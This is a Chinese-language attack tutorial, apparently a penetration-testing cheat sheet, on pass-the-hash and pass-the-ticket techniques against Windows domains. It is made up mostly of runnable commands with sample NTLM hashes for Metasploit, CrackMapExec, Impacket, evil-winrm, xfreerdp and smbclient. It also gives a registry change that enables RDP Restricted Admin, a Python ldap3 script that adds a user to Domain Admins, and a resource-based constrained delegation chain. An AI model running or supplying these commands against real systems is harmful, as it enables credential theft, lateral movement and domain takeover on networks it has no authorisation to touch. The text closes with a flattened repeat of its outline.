传递哈希的另类用法(pth)
字数 689 2025-08-18 11:36:36

传递哈希(PTH)的多种利用方式详解

1. 传统PTH方法

1.1 Metasploit中的PTH

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit

1.2 CrackMapExec工具

cme smb 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79 -d domain.local

1.3 Impacket工具集

wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

2. WinRM传递哈希

2.1 使用evil-winrm

ruby evil-winrm.rb -i 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79

2.2 适用场景

  • SMB端口关闭或被终端保护阻止时
  • 使用5985(HTTP)或5986(HTTPS)端口

3. RDP传递哈希

3.1 启用受限管理模式

cme smb 10.0.0.200 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

3.2 使用xfreerdp连接

xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C

4. SMBClient传递哈希

4.1 基本用法

smbclient //10.0.0.30/Finance -U user --pw-nt-hash BD1C6503987F8FF006296118F359FA79 -W domain.local

4.2 适用场景

  • 访问非管理权限的文件共享
  • 需要类似FTP的交互式界面

5. LDAP传递哈希

5.1 获取计算机账户哈希

secretsdump.py ituser@10.0.0.40 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

5.2 使用ldap3进行LDAP操作

import ldap3
user = 'DOMAIN\\EXCHANGE$'
password = 'aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248'
server = ldap3.Server('DOMAIN.LOCAL')
connection = ldap3.Connection(server, user=user, password=password, authentication=NTLM)
connection.bind()

from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups
user_dn = 'CN=IT User,OU=Standard Accounts,DC=domain,DC=local'
group_dn = 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
addUsersInGroups(connection, user_dn, group_dn)

6. 传递票据(Pass the Ticket, PtT)

6.1 获取Kerberos票据

python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user

6.2 设置票据环境

cp user.ccache /tmp/krb5cc_0
export KRB5CCNAME=/tmp/krb5cc_0

6.3 验证票据

klist

7. 挂载共享使用Kerberos票据

7.1 挂载命令

sudo mount -t cifs -o sec=krb5,vers=3.0 '//SERVER.DOMAIN.LOCAL/SHARE' /mnt/share

8. SSH使用Kerberos票据

8.1 SSH连接

ssh -o GSSAPIAuthentication=yes user@domain.local

8.2 设置票据

cp user.ccache /tmp/krb5cc_1045

9. 基于资源的约束委派(RBCD)攻击链

9.1 获取计算机账户哈希

secretsdump.py ituser@PC01.domain.local -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

9.2 修改msDS-AllowedToActOnBehalfOfOtherIdentity属性

python3 rbcd.py -u PC01$ -H aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -t 'CN=PC02,CN=Computers,DC=domain,DC=local' -d domain.local -c 'CN=PC01,CN=Computers,DC=domain,DC=local' -l DC1.domain.local

9.3 获取服务票据

getST.py -spn cifs/PC02 -hashes aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -impersonate DA domain.local/PC01\$

关键注意事项

  1. 使用Kerberos身份验证时,必须使用目标的DNS名称而非IP地址
  2. 受限管理模式默认禁用,需要先通过其他方式启用
  3. Linux系统需要正确配置Kerberos环境
  4. 票据文件需要放置在正确的路径(/tmp/krb5cc_UID)
  5. 时间同步对Kerberos认证至关重要
传递哈希(PTH)的多种利用方式详解 1. 传统PTH方法 1.1 Metasploit中的PTH 1.2 CrackMapExec工具 1.3 Impacket工具集 2. WinRM传递哈希 2.1 使用evil-winrm 2.2 适用场景 SMB端口关闭或被终端保护阻止时 使用5985(HTTP)或5986(HTTPS)端口 3. RDP传递哈希 3.1 启用受限管理模式 3.2 使用xfreerdp连接 4. SMBClient传递哈希 4.1 基本用法 4.2 适用场景 访问非管理权限的文件共享 需要类似FTP的交互式界面 5. LDAP传递哈希 5.1 获取计算机账户哈希 5.2 使用ldap3进行LDAP操作 6. 传递票据(Pass the Ticket, PtT) 6.1 获取Kerberos票据 6.2 设置票据环境 6.3 验证票据 7. 挂载共享使用Kerberos票据 7.1 挂载命令 8. SSH使用Kerberos票据 8.1 SSH连接 8.2 设置票据 9. 基于资源的约束委派(RBCD)攻击链 9.1 获取计算机账户哈希 9.2 修改msDS-AllowedToActOnBehalfOfOtherIdentity属性 9.3 获取服务票据 关键注意事项 使用Kerberos身份验证时,必须使用目标的DNS名称而非IP地址 受限管理模式默认禁用,需要先通过其他方式启用 Linux系统需要正确配置Kerberos环境 票据文件需要放置在正确的路径(/tmp/krb5cc_ UID) 时间同步对Kerberos认证至关重要